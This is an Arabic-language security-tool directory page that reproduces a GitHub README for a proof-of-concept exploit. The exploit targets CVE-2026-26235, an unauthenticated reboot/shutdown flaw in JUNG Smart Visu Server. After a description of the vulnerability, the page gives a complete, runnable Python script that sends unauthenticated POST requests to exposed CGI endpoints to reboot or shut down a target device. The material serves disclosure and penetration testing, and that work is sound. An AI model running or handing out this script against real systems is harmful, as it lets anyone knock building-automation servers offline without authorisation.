Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown — إثبات مفهوم لاستغلال CVE-2026-26235، وهي ثغرة رفض خدمة غير مصادق عليها في JUNG Smart Visu Server <=1.1.1050، تسمح بإعادة تشغيل أو إيقاف تشغيل الجهاز عن بُعد عبر نقاط نهاية CGI مكشوفة. | Kitploit
أدوات/GitHubGitHub/mbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown
أمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubmbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown

CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown

إثبات مفهوم لاستغلال CVE-2026-26235، وهي ثغرة رفض خدمة غير مصادق عليها في JUNG Smart Visu Server <=1.1.1050، تسمح بإعادة تشغيل أو إيقاف تشغيل الجهاز عن بُعد عبر نقاط نهاية CGI مكشوفة.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
22منذ 7 أشهرلم تتم المراجعة بعد

👤 المؤلف

محمد إدريس بني عامر

  • 📍 البلد: الأردن
  • 📸 إنستغرام: @banyamer_security

Python Version CVE CVSS CWE Author

إثبات المفهوم لاستغلال CVE-2026-26235 - رفض الخدمة غير المصادق عليه عبر غياب المصادقة في JUNG Smart Visu Server ≤ 1.1.1050.


🚨 وصف الثغرة

CVE-2026-26235 هي ثغرة رفض خدمة غير مصادق عليها في JUNG Smart Visu Server الإصدارات ≤ 1.1.1050. يفشل المنتج في تطبيق المصادقة على وظائف إدارة النظام الحرجة، مما يسمح للمهاجمين عن بُعد بإعادة تشغيل الخادم أو إيقاف تشغيله بطلب POST واحد.

النقطتان /cgi-bin/reboot.sh و /cgi-bin/shutdown.sh مكشوفتان دون أي فحوصات مصادقة. لا يلزم وجود رموز جلسة أو مفاتيح API أو بيانات اعتماد لتفعيل هذه الأوامر على مستوى النظام.

يسمح هذا بـ:

  • إعادة تشغيل/إيقاف تشغيل النظام دون مصادقة
  • لا يتطلب أي تفاعل من المستخدم
  • انقطاع كامل للخدمة
  • رفض خدمة مستمر

🎯 الإصدارات المتأثرة

الحالةالإصدار
❌ قابل للاستغلالJUNG Smart Visu Server ≤ 1.1.1050
✅ تم التصحيحلم يُصدر بعد

تم الاختبار على: JUNG Smart Visu Server 1.1.1050، Embedded Linux


💥 الأثر

المتجهالوصف
CVSS v48.7 (عالٍ) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
المصادقةلا شيء - غير مصادق عليه تمامًا
متجه الهجومالشبكة
التعقيدمنخفض
الأثرأثر عالٍ على التوافر

🔬 التفاصيل الفنية

السبب الجذري

  1. غياب المصادقة - CWE-306: لا يقوم المنتج بأي مصادقة للوظائف الحرجة للنظام
  2. نقاط CGI مكشوفة - /cgi-bin/reboot.sh و /cgi-bin/shutdown.sh متاحتان للعموم
  3. لا تحقق من الجلسة - لا يحدث أي تحقق من ملفات تعريف الارتباط أو الرموز أو بيانات الاعتماد
  4. تنفيذ مباشر لأوامر النظام - تنفذ سكربتات CGI أوامر إعادة التشغيل/الإيقاف دون فحوصات صلاحيات

تدفق الثغرة

Attacker → POST /cgi-bin/reboot.sh → No Authentication Check → System Reboot → DoS
Attacker → POST /cgi-bin/shutdown.sh → No Authentication Check → System Shutdown → DoS

🛠️ إثبات المفهوم

سكربت الاستغلال بلغة بايثون

#!/usr/bin/env python3
# Exploit Title: JUNG Smart Visu Server - Unauthenticated Remote Reboot/Shutdown
# CVE: CVE-2026-26235
# Date: 2026-02-12
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/banyamer-security
# Vendor Homepage: https://www.jung.de
# Software Link: https://www.jung.de/smart-visu-server
# Vulnerable: JUNG Smart Visu Server <= 1.1.1050
# Tested on: JUNG Smart Visu Server 1.1.1050
# Category: Web Application
# Platform: Embedded/Linux
# Exploit Type: Missing Authentication (CWE-306)

import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def print_banner():
    print("\n" + "="*60)
    print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC")
    print(" CVE-2026-26235 | CWE-306")
    print("="*60 + "\n")

def exploit(target, action="reboot", verify_ssl=False, timeout=10):
    endpoints = {
        "reboot": "/cgi-bin/reboot.sh",
        "shutdown": "/cgi-bin/shutdown.sh"
    }
    
    if action not in endpoints:
        print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.")
        return False
    
    url = f"{target.rstrip('/')}{endpoints[action]}"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Cache-Control": "max-age=0",
        "Origin": target.rstrip('/'),
        "Referer": f"{target.rstrip('/')}/",
        "DNT": "1",
        "Sec-GPC": "1"
    }
    
    print(f"[*] Target      : {url}")
    print(f"[*] Action      : {action.upper()}")
    print(f"[*] SSL Verify  : {verify_ssl}")
    print("[*] Sending unauthenticated POST request...\n")
    
    try:
        response = requests.post(
            url, 
            headers=headers,
            data="",  
            verify=verify_ssl,
            timeout=timeout,
            allow_redirects=False
        )
        
        print(f"[+] Request sent successfully!")
        print(f"[+] HTTP Status : {response.status_code}")
        
        if response.status_code == 200:
            print("[!] Server responded with 200 OK - action likely executed")
        elif response.status_code == 302 or response.status_code == 301:
            print("[!] Server responded with redirect - action may have been triggered")
        else:
            print(f"[?] Unexpected response code: {response.status_code}")
        
        if response.text:
            print(f"[*] Response preview: {response.text[:200].strip()}")
        
        print("\n[!] If successful, the target server should now be restarting or shutting down.")
        return True
        
    except requests.exceptions.Timeout:
        print("[-] Connection timeout. The server may be down or unreachable.")
        print("[*] This could indicate successful DoS if the server was previously reachable.")
        return True
    except requests.exceptions.ConnectionError as e:
        print(f"[-] Connection error: {e}")
        print("[*] The server may have gone down - possibly successful exploitation.")
        return True
    except Exception as e:
        print(f"[-] An error occurred: {e}")
        return False

def main():
    print_banner()
    
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown"
    )
    parser.add_argument(
        "target",
        help="Target server URL (e.g., https://192.168.1.100:8080)"
    )
    parser.add_argument(
        "-a", "--action",
        choices=["reboot", "shutdown"],
        default="reboot",
        help="Action to perform: reboot or shutdown (default: reboot)"
    )
    parser.add_argument(
        "-k", "--insecure",
        action="store_false",
        dest="verify_ssl",
        default=False,
        help="Disable SSL certificate verification (default: disabled)"
    )
    parser.add_argument(
        "-t", "--timeout",
        type=int,
        default=10,
        help="Request timeout in seconds (default: 10)"
    )
    
    args = parser.parse_args()
    
    print(f"[*] Starting exploit against: {args.target}\n")
    
    success = exploit(
        target=args.target,
        action=args.action,
        verify_ssl=args.verify_ssl,
        timeout=args.timeout
    )
    
    if success:
        print("\n[+] Exploit completed successfully.")
    else:
        print("\n[-] Exploit failed.")
        sys.exit(1)

if __name__ == "__main__":
    main()
تنزيل الأداة